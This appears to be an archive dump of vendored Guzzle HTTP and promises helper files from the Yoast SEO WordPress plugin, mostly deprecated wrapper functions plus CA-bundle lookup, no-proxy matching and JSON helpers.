lebauwcentre/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/functions.php 0000644 00000034246 15114235207 0032444 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;
use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
* Returns the string representation of an HTTP message.
*
* @param MessageInterface $message Message to convert to a string.
*
* @return string
*
* @deprecated str will be removed in guzzlehttp/psr7:2.0. Use Message::toString instead.
*/
function str(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($message);
}
/**
* Returns a UriInterface for the given value.
*
* This function accepts a string or UriInterface and returns a
* UriInterface for the given value. If the value is already a
* UriInterface, it is returned as-is.
*
* @param string|UriInterface $uri
*
* @return UriInterface
*
* @throws \InvalidArgumentException
*
* @deprecated uri_for will be removed in guzzlehttp/psr7:2.0. Use Utils::uriFor instead.
*/
function uri_for($uri)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($uri);
}
/**
* Create a new stream based on the input type.
*
* Options is an associative array that can contain the following keys:
* - metadata: Array of custom metadata.
* - size: Size of the stream.
*
* This method accepts the following `$resource` types:
* - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
* - `string`: Creates a stream object that uses the given string as the contents.
* - `resource`: Creates a stream object that wraps the given PHP stream resource.
* - `Iterator`: If the provided value implements `Iterator`, then a read-only
* stream object will be created that wraps the given iterable. Each time the
* stream is read from, data from the iterator will fill a buffer and will be
* continuously called until the buffer is equal to the requested read size.
* Subsequent read calls will first read from the buffer and then call `next`
* on the underlying iterator until it is exhausted.
* - `object` with `__toString()`: If the object has the `__toString()` method,
* the object will be cast to a string and then a stream will be returned that
* uses the string value.
* - `NULL`: When `null` is passed, an empty stream object is returned.
* - `callable` When a callable is passed, a read-only stream object will be
* created that invokes the given callable. The callable is invoked with the
* number of suggested bytes to read. The callable can return any number of
* bytes, but MUST return `false` when there is no more data to return. The
* stream object that wraps the callable will invoke the callable until the
* number of requested bytes are available. Any additional bytes will be
* buffered and used in subsequent reads.
*
* @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
* @param array $options Additional options
*
* @return StreamInterface
*
* @throws \InvalidArgumentException if the $resource arg is not valid.
*
* @deprecated stream_for will be removed in guzzlehttp/psr7:2.0. Use Utils::streamFor instead.
*/
function stream_for($resource = '', array $options = [])
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($resource, $options);
}
/**
* Parse an array of header values containing ";" separated data into an
* array of associative arrays representing the header key value pair data
* of the header. When a parameter does not contain a value, but just
* contains a key, this function will inject a key with a '' string value.
*
* @param string|array $header Header to parse into components.
*
* @return array Returns the parsed header values.
*
* @deprecated parse_header will be removed in guzzlehttp/psr7:2.0. Use Header::parse instead.
*/
function parse_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::parse($header);
}
/**
* Converts an array of header values that may contain comma separated
* headers into an array of headers with no comma separated values.
*
* @param string|array $header Header to normalize.
*
* @return array Returns the normalized header field values.
*
* @deprecated normalize_header will be removed in guzzlehttp/psr7:2.0. Use Header::normalize instead.
*/
function normalize_header($header)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Header::normalize($header);
}
/**
* Clone and modify a request with the given changes.
*
* This method is useful for reducing the number of clones needed to mutate a
* message.
*
* The changes can be one of:
* - method: (string) Changes the HTTP method.
* - set_headers: (array) Sets the given headers.
* - remove_headers: (array) Remove the given headers.
* - body: (mixed) Sets the given body.
* - uri: (UriInterface) Set the URI.
* - query: (string) Set the query string value of the URI.
* - version: (string) Set the protocol version.
*
* @param RequestInterface $request Request to clone and modify.
* @param array $changes Changes to apply.
*
* @return RequestInterface
*
* @deprecated modify_request will be removed in guzzlehttp/psr7:2.0. Use Utils::modifyRequest instead.
*/
function modify_request(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $changes)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $changes);
}
/**
* Attempts to rewind a message body and throws an exception on failure.
*
* The body of the message will only be rewound if a call to `tell()` returns a
* value other than `0`.
*
* @param MessageInterface $message Message to rewind
*
* @throws \RuntimeException
*
* @deprecated rewind_body will be removed in guzzlehttp/psr7:2.0. Use Message::rewindBody instead.
*/
function rewind_body(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message)
{
\YoastSEO_Vendor\GuzzleHttp\Psr7\Message::rewindBody($message);
}
/**
* Safely opens a PHP stream resource using a filename.
*
* When fopen fails, PHP normally raises a warning. This function adds an
* error handler that checks for errors and throws an exception instead.
*
* @param string $filename File to open
* @param string $mode Mode used to open the file
*
* @return resource
*
* @throws \RuntimeException if the file cannot be opened
*
* @deprecated try_fopen will be removed in guzzlehttp/psr7:2.0. Use Utils::tryFopen instead.
*/
function try_fopen($filename, $mode)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen($filename, $mode);
}
/**
* Copy the contents of a stream into a string until the given number of
* bytes have been read.
*
* @param StreamInterface $stream Stream to read
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @return string
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_string will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToString instead.
*/
function copy_to_string(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($stream, $maxLen);
}
/**
* Copy the contents of a stream into another stream until the given number
* of bytes have been read.
*
* @param StreamInterface $source Stream to read from
* @param StreamInterface $dest Stream to write to
* @param int $maxLen Maximum number of bytes to read. Pass -1
* to read the entire stream.
*
* @throws \RuntimeException on error.
*
* @deprecated copy_to_stream will be removed in guzzlehttp/psr7:2.0. Use Utils::copyToStream instead.
*/
function copy_to_stream(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $dest, $maxLen = -1)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($source, $dest, $maxLen);
}
/**
* Calculate a hash of a stream.
*
* This method reads the entire stream to calculate a rolling hash, based on
* PHP's `hash_init` functions.
*
* @param StreamInterface $stream Stream to calculate the hash for
* @param string $algo Hash algorithm (e.g. md5, crc32, etc)
* @param bool $rawOutput Whether or not to use raw output
*
* @return string Returns the hash of the stream
*
* @throws \RuntimeException on error.
*
* @deprecated hash will be removed in guzzlehttp/psr7:2.0. Use Utils::hash instead.
*/
function hash(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $algo, $rawOutput = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::hash($stream, $algo, $rawOutput);
}
/**
* Read a line from the stream up to the maximum allowed buffer length.
*
* @param StreamInterface $stream Stream to read from
* @param int|null $maxLength Maximum buffer length
*
* @return string
*
* @deprecated readline will be removed in guzzlehttp/psr7:2.0. Use Utils::readLine instead.
*/
function readline(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, $maxLength = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::readLine($stream, $maxLength);
}
/**
* Parses a request message string into a request object.
*
* @param string $message Request message string.
*
* @return Request
*
* @deprecated parse_request will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequest instead.
*/
function parse_request($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequest($message);
}
/**
* Parses a response message string into a response object.
*
* @param string $message Response message string.
*
* @return Response
*
* @deprecated parse_response will be removed in guzzlehttp/psr7:2.0. Use Message::parseResponse instead.
*/
function parse_response($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseResponse($message);
}
/**
* Parse a query string into an associative array.
*
* If multiple values are found for the same key, the value of that key value
* pair will become an array. This function does not parse nested PHP style
* arrays into an associative array (e.g., `foo[a]=1&foo[b]=2` will be parsed
* into `['foo[a]' => '1', 'foo[b]' => '2'])`.
*
* @param string $str Query string to parse
* @param int|bool $urlEncoding How the query string is encoded
*
* @return array
*
* @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead.
*/
function parse_query($str, $urlEncoding = \true)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::parse($str, $urlEncoding);
}
/**
* Build a query string from an array of key value pairs.
*
* This function can use the return value of `parse_query()` to build a query
* string. This function does not modify the provided keys when an array is
* encountered (like `http_build_query()` would).
*
* @param array $params Query string parameters.
* @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
* to encode using RFC3986, or PHP_QUERY_RFC1738
* to encode using RFC1738.
*
* @return string
*
* @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead.
*/
function build_query(array $params, $encoding = \PHP_QUERY_RFC3986)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Query::build($params, $encoding);
}
/**
* Determines the mimetype of a file by looking at its extension.
*
* @param string $filename
*
* @return string|null
*
* @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead.
*/
function mimetype_from_filename($filename)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename);
}
/**
* Maps a file extensions to a mimetype.
*
* @param $extension string The file extension.
*
* @return string|null
*
* @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types
* @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead.
*/
function mimetype_from_extension($extension)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromExtension($extension);
}
/**
* Parses an HTTP message into an associative array.
*
* The array contains the "start-line" key containing the start line of
* the message, "headers" key containing an associative array of header
* array values, and a "body" key containing the body of the message.
*
* @param string $message HTTP request or response to parse.
*
* @return array
*
* @internal
*
* @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead.
*/
function _parse_message($message)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseMessage($message);
}
/**
* Constructs a URI for an HTTP request message.
*
* @param string $path Path from the start-line
* @param array $headers Array of headers (each value an array).
*
* @return string
*
* @internal
*
* @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead.
*/
function _parse_request_uri($path, array $headers)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::parseRequestUri($path, $headers);
}
/**
* Get a short summary of the message body.
*
* Will return `null` if the response is not printable.
*
* @param MessageInterface $message The message to get the body summary
* @param int $truncateAt The maximum allowed size of the summary
*
* @return string|null
*
* @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead.
*/
function get_message_body_summary(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message, $truncateAt = 120)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::bodySummary($message, $truncateAt);
}
/**
* Remove the items given by the keys, case insensitively from the data.
*
* @param iterable<string> $keys
*
* @return array
*
* @internal
*
* @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead.
*/
function _caseless_remove($keys, array $data)
{
return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::caselessRemove($keys, $data);
}
crosstraining/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/functions.php0000644 00000025344 15114236554 0033624 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Promise;
/**
* Get the global task queue used for promise resolution.
*
* This task queue MUST be run in an event loop in order for promises to be
* settled asynchronously. It will be automatically run when synchronously
* waiting on a promise.
*
* <code>
* while ($eventLoop->isRunning()) {
* GuzzleHttp\Promise\queue()->run();
* }
* </code>
*
* @param TaskQueueInterface $assign Optionally specify a new queue instance.
*
* @return TaskQueueInterface
*
* @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead.
*/
function queue(\YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface $assign = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue($assign);
}
/**
* Adds a function to run in the task queue when it is next `run()` and returns
* a promise that is fulfilled or rejected with the result.
*
* @param callable $task Task function to run.
*
* @return PromiseInterface
*
* @deprecated task will be removed in guzzlehttp/promises:2.0. Use Utils::task instead.
*/
function task(callable $task)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::task($task);
}
/**
* Creates a promise for a value if the value is not a promise.
*
* @param mixed $value Promise or value.
*
* @return PromiseInterface
*
* @deprecated promise_for will be removed in guzzlehttp/promises:2.0. Use Create::promiseFor instead.
*/
function promise_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($value);
}
/**
* Creates a rejected promise for a reason if the reason is not a promise. If
* the provided reason is a promise, then it is returned as-is.
*
* @param mixed $reason Promise or reason.
*
* @return PromiseInterface
*
* @deprecated rejection_for will be removed in guzzlehttp/promises:2.0. Use Create::rejectionFor instead.
*/
function rejection_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason);
}
/**
* Create an exception for a rejected promise value.
*
* @param mixed $reason
*
* @return \Exception|\Throwable
*
* @deprecated exception_for will be removed in guzzlehttp/promises:2.0. Use Create::exceptionFor instead.
*/
function exception_for($reason)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::exceptionFor($reason);
}
/**
* Returns an iterator for the given value.
*
* @param mixed $value
*
* @return \Iterator
*
* @deprecated iter_for will be removed in guzzlehttp/promises:2.0. Use Create::iterFor instead.
*/
function iter_for($value)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::iterFor($value);
}
/**
* Synchronously waits on a promise to resolve and returns an inspection state
* array.
*
* Returns a state associative array containing a "state" key mapping to a
* valid promise state. If the state of the promise is "fulfilled", the array
* will contain a "value" key mapping to the fulfilled value of the promise. If
* the promise is rejected, the array will contain a "reason" key mapping to
* the rejection reason of the promise.
*
* @param PromiseInterface $promise Promise or value.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspect instead.
*/
function inspect(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspect($promise);
}
/**
* Waits on all of the provided promises, but does not unwrap rejected promises
* as thrown exception.
*
* Returns an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param PromiseInterface[] $promises Traversable of promises to wait upon.
*
* @return array
*
* @deprecated inspect will be removed in guzzlehttp/promises:2.0. Use Utils::inspectAll instead.
*/
function inspect_all($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::inspectAll($promises);
}
/**
* Waits on all of the provided promises and returns the fulfilled values.
*
* Returns an array that contains the value of each promise (in the same order
* the promises were provided). An exception is thrown if any of the promises
* are rejected.
*
* @param iterable<PromiseInterface> $promises Iterable of PromiseInterface objects to wait on.
*
* @return array
*
* @throws \Exception on error
* @throws \Throwable on error in PHP >=7
*
* @deprecated unwrap will be removed in guzzlehttp/promises:2.0. Use Utils::unwrap instead.
*/
function unwrap($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::unwrap($promises);
}
/**
* Given an array of promises, return a promise that is fulfilled when all the
* items in the array are fulfilled.
*
* The promise's fulfillment value is an array with fulfillment values at
* respective positions to the original array. If any promise in the array
* rejects, the returned promise is rejected with the rejection reason.
*
* @param mixed $promises Promises or values.
* @param bool $recursive If true, resolves new promises that might have been added to the stack during its own resolution.
*
* @return PromiseInterface
*
* @deprecated all will be removed in guzzlehttp/promises:2.0. Use Utils::all instead.
*/
function all($promises, $recursive = \false)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::all($promises, $recursive);
}
/**
* Initiate a competitive race between multiple promises or values (values will
* become immediately fulfilled promises).
*
* When count amount of promises have been fulfilled, the returned promise is
* fulfilled with an array that contains the fulfillment values of the winners
* in order of resolution.
*
* This promise is rejected with a {@see AggregateException} if the number of
* fulfilled promises is less than the desired $count.
*
* @param int $count Total number of promises.
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated some will be removed in guzzlehttp/promises:2.0. Use Utils::some instead.
*/
function some($count, $promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::some($count, $promises);
}
/**
* Like some(), with 1 as count. However, if the promise fulfills, the
* fulfillment value is not an array of 1 but the value directly.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated any will be removed in guzzlehttp/promises:2.0. Use Utils::any instead.
*/
function any($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::any($promises);
}
/**
* Returns a promise that is fulfilled when all of the provided promises have
* been fulfilled or rejected.
*
* The returned promise is fulfilled with an array of inspection state arrays.
*
* @see inspect for the inspection state array format.
*
* @param mixed $promises Promises or values.
*
* @return PromiseInterface
*
* @deprecated settle will be removed in guzzlehttp/promises:2.0. Use Utils::settle instead.
*/
function settle($promises)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::settle($promises);
}
/**
* Given an iterator that yields promises or values, returns a promise that is
* fulfilled with a null value when the iterator has been consumed or the
* aggregate promise has been fulfilled or rejected.
*
* $onFulfilled is a function that accepts the fulfilled value, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* $onRejected is a function that accepts the rejection reason, iterator index,
* and the aggregate promise. The callback can invoke any necessary side
* effects and choose to resolve or reject the aggregate if needed.
*
* @param mixed $iterable Iterator or array to iterate over.
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each will be removed in guzzlehttp/promises:2.0. Use Each::of instead.
*/
function each($iterable, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::of($iterable, $onFulfilled, $onRejected);
}
/**
* Like each, but only allows a certain number of outstanding promises at any
* given time.
*
* $concurrency may be an integer or a function that accepts the number of
* pending promises and returns a numeric concurrency limit value to allow for
* dynamic a concurrency size.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
* @param callable $onRejected
*
* @return PromiseInterface
*
* @deprecated each_limit will be removed in guzzlehttp/promises:2.0. Use Each::ofLimit instead.
*/
function each_limit($iterable, $concurrency, callable $onFulfilled = null, callable $onRejected = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimit($iterable, $concurrency, $onFulfilled, $onRejected);
}
/**
* Like each_limit, but ensures that no promise in the given $iterable argument
* is rejected. If any promise is rejected, then the aggregate promise is
* rejected with the encountered rejection.
*
* @param mixed $iterable
* @param int|callable $concurrency
* @param callable $onFulfilled
*
* @return PromiseInterface
*
* @deprecated each_limit_all will be removed in guzzlehttp/promises:2.0. Use Each::ofLimitAll instead.
*/
function each_limit_all($iterable, $concurrency, callable $onFulfilled = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Each::ofLimitAll($iterable, $concurrency, $onFulfilled);
}
/**
* Returns true if a promise is fulfilled.
*
* @return bool
*
* @deprecated is_fulfilled will be removed in guzzlehttp/promises:2.0. Use Is::fulfilled instead.
*/
function is_fulfilled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::fulfilled($promise);
}
/**
* Returns true if a promise is rejected.
*
* @return bool
*
* @deprecated is_rejected will be removed in guzzlehttp/promises:2.0. Use Is::rejected instead.
*/
function is_rejected(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::rejected($promise);
}
/**
* Returns true if a promise is fulfilled or rejected.
*
* @return bool
*
* @deprecated is_settled will be removed in guzzlehttp/promises:2.0. Use Is::settled instead.
*/
function is_settled(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Is::settled($promise);
}
/**
* Create a new coroutine.
*
* @see Coroutine
*
* @return PromiseInterface
*
* @deprecated coroutine will be removed in guzzlehttp/promises:2.0. Use Coroutine::of instead.
*/
function coroutine(callable $generatorFn)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Coroutine::of($generatorFn);
}
lebauwcentre/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/functions.php 0000644 00000024120 15114243046 0033057 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler;
use YoastSEO_Vendor\GuzzleHttp\Handler\Proxy;
use YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler;
/**
* Expands a URI template
*
* @param string $template URI template
* @param array $variables Template variables
*
* @return string
*/
function uri_template($template, array $variables)
{
if (\extension_loaded('uri_template')) {
// @codeCoverageIgnoreStart
return \YoastSEO_Vendor\uri_template($template, $variables);
// @codeCoverageIgnoreEnd
}
static $uriTemplate;
if (!$uriTemplate) {
$uriTemplate = new \YoastSEO_Vendor\GuzzleHttp\UriTemplate();
}
return $uriTemplate->expand($template, $variables);
}
/**
* Debug function used to describe the provided value type and class.
*
* @param mixed $input
*
* @return string Returns a string containing the type of the variable and
* if a class is provided, the class name.
*/
function describe_type($input)
{
switch (\gettype($input)) {
case 'object':
return 'object(' . \get_class($input) . ')';
case 'array':
return 'array(' . \count($input) . ')';
default:
\ob_start();
\var_dump($input);
// normalize float vs double
return \str_replace('double(', 'float(', \rtrim(\ob_get_clean()));
}
}
/**
* Parses an array of header lines into an associative array of headers.
*
* @param iterable $lines Header lines array of strings in the following
* format: "Name: Value"
* @return array
*/
function headers_from_lines($lines)
{
$headers = [];
foreach ($lines as $line) {
$parts = \explode(':', $line, 2);
$headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
}
return $headers;
}
/**
* Returns a debug stream based on the provided variable.
*
* @param mixed $value Optional value
*
* @return resource
*/
function debug_resource($value = null)
{
if (\is_resource($value)) {
return $value;
} elseif (\defined('STDOUT')) {
return \STDOUT;
}
return \fopen('php://output', 'w');
}
/**
* Chooses and creates a default handler to use based on the environment.
*
* The returned handler is not wrapped by any default middlewares.
*
* @return callable Returns the best handler for the given system.
* @throws \RuntimeException if no viable Handler is available.
*/
function choose_handler()
{
$handler = null;
if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
$handler = \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapSync(new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler(), new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler());
} elseif (\function_exists('curl_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlHandler();
} elseif (\function_exists('curl_multi_exec')) {
$handler = new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlMultiHandler();
}
if (\ini_get('allow_url_fopen')) {
$handler = $handler ? \YoastSEO_Vendor\GuzzleHttp\Handler\Proxy::wrapStreaming($handler, new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler()) : new \YoastSEO_Vendor\GuzzleHttp\Handler\StreamHandler();
} elseif (!$handler) {
throw new \RuntimeException('GuzzleHttp requires cURL, the ' . 'allow_url_fopen ini setting, or a custom HTTP handler.');
}
return $handler;
}
/**
* Get the default User-Agent string to use with Guzzle
*
* @return string
*/
function default_user_agent()
{
static $defaultAgent = '';
if (!$defaultAgent) {
$defaultAgent = 'GuzzleHttp/' . \YoastSEO_Vendor\GuzzleHttp\Client::VERSION;
if (\extension_loaded('curl') && \function_exists('curl_version')) {
$defaultAgent .= ' curl/' . \curl_version()['version'];
}
$defaultAgent .= ' PHP/' . \PHP_VERSION;
}
return $defaultAgent;
}
/**
* Returns the default cacert bundle for the current system.
*
* First, the openssl.cafile and curl.cainfo php.ini settings are checked.
* If those settings are not configured, then the common locations for
* bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
* and Windows are checked. If any of these file locations are found on
* disk, they will be utilized.
*
* Note: the result of this function is cached for subsequent calls.
*
* @return string
* @throws \RuntimeException if no bundle can be found.
*/
function default_ca_bundle()
{
static $cached = null;
static $cafiles = [
// Red Hat, CentOS, Fedora (provided by the ca-certificates package)
'/etc/pki/tls/certs/ca-bundle.crt',
// Ubuntu, Debian (provided by the ca-certificates package)
'/etc/ssl/certs/ca-certificates.crt',
// FreeBSD (provided by the ca_root_nss package)
'/usr/local/share/certs/ca-root-nss.crt',
// SLES 12 (provided by the ca-certificates package)
'/var/lib/ca-certificates/ca-bundle.pem',
// OS X provided by homebrew (using the default path)
'/usr/local/etc/openssl/cert.pem',
// Google app engine
'/etc/ca-certificates.crt',
// Windows?
'C:\\windows\\system32\\curl-ca-bundle.crt',
'C:\\windows\\curl-ca-bundle.crt',
];
if ($cached) {
return $cached;
}
if ($ca = \ini_get('openssl.cafile')) {
return $cached = $ca;
}
if ($ca = \ini_get('curl.cainfo')) {
return $cached = $ca;
}
foreach ($cafiles as $filename) {
if (\file_exists($filename)) {
return $cached = $filename;
}
}
throw new \RuntimeException(<<<EOT
No system CA bundle could be found in any of the the common system locations.
PHP versions earlier than 5.6 are not properly configured to use the system's
CA bundle by default. In order to verify peer certificates, you will need to
supply the path on disk to a certificate bundle to the 'verify' request
option: http://docs.guzzlephp.org/en/latest/clients.html#verify. If you do not
need a specific certificate bundle, then Mozilla provides a commonly used CA
bundle which can be downloaded here (provided by the maintainer of cURL):
https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt. Once
you have a CA bundle available on disk, you can set the 'openssl.cafile' PHP
ini setting to point to the path to the file, allowing you to omit the 'verify'
request option. See http://curl.haxx.se/docs/sslcerts.html for more
information.
EOT
);
}
/**
* Creates an associative array of lowercase header names to the actual
* header casing.
*
* @param array $headers
*
* @return array
*/
function normalize_header_keys(array $headers)
{
$result = [];
foreach (\array_keys($headers) as $key) {
$result[\strtolower($key)] = $key;
}
return $result;
}
/**
* Returns true if the provided host matches any of the no proxy areas.
*
* This method will strip a port from the host if it is present. Each pattern
* can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
* partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
* "baz.foo.com", but ".foo.com" != "foo.com").
*
* Areas are matched in the following cases:
* 1. "*" (without quotes) always matches any hosts.
* 2. An exact match.
* 3. The area starts with "." and the area is the last part of the host. e.g.
* '.mit.edu' will match any host that ends with '.mit.edu'.
*
* @param string $host Host to check against the patterns.
* @param array $noProxyArray An array of host patterns.
*
* @return bool
*/
function is_host_in_noproxy($host, array $noProxyArray)
{
if (\strlen($host) === 0) {
throw new \InvalidArgumentException('Empty host provided');
}
// Strip port if present.
if (\strpos($host, ':')) {
$host = \explode($host, ':', 2)[0];
}
foreach ($noProxyArray as $area) {
// Always match on wildcards.
if ($area === '*') {
return \true;
} elseif (empty($area)) {
// Don't match on empty values.
continue;
} elseif ($area === $host) {
// Exact matches.
return \true;
} else {
// Special match if the area when prefixed with ".". Remove any
// existing leading "." and add a new leading ".".
$area = '.' . \ltrim($area, '.');
if (\substr($host, -\strlen($area)) === $area) {
return \true;
}
}
}
return \false;
}
/**
* Wrapper for json_decode that throws when an error occurs.
*
* @param string $json JSON data to parse
* @param bool $assoc When true, returned objects will be converted
* into associative arrays.
* @param int $depth User specified recursion depth.
* @param int $options Bitmask of JSON decode options.
*
* @return mixed
* @throws Exception\InvalidArgumentException if the JSON cannot be decoded.
* @link http://www.php.net/manual/en/function.json-decode.php
*/
function json_decode($json, $assoc = \false, $depth = 512, $options = 0)
{
$data = \json_decode($json, $assoc, $depth, $options);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_decode error: ' . \json_last_error_msg());
}
return $data;
}
/**
* Wrapper for JSON encoding that throws when an error occurs.
*
* @param mixed $value The value being encoded
* @param int $options JSON encode option bitmask
* @param int $depth Set the maximum depth. Must be greater than zero.
*
* @return string
* @throws Exception\InvalidArgumentException if the JSON cannot be encoded.
* @link http://www.php.net/manual/en/function.json-encode.php
*/
function json_encode($value, $options = 0, $depth = 512)
{
$json = \json_encode($value, $options, $depth);
if (\JSON_ERROR_NONE !== \json_last_error()) {
throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('json_encode error: ' . \json_last_error_msg());
}
return $json;
}
lebauwcentre/wp-content/plugins/wordpress-seo/vendor_prefixed/guzzlehttp/promises/src/functions.php 0000644 00000025344 15114246227 0033415 0 ustar 00 home/xbodynamge <?php
namespace YoastSEO_Vendor\GuzzleHttp\Promise;
/**
* Get the global task queue used for promise resolution.
*
* This task queue MUST be run in an event loop in order for promises to be
* settled asynchronously. It will be automatically run when synchronously
* waiting on a promise.
*
* <code>
* while ($eventLoop->isRunning()) {
* GuzzleHttp\Promise\queue()->run();
* }
* </code>
*
* @param TaskQueueInterface $assign Optionally specify a new queue instance.
*
* @return TaskQueueInterface
*
* @deprecated queue will be removed in guzzlehttp/promises:2.0. Use Utils::queue instead.
*/
function queue(\YoastSEO_Vendor\GuzzleHttp\Promise\TaskQueueInterface $assign = null)
{
return \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue($assign);
}
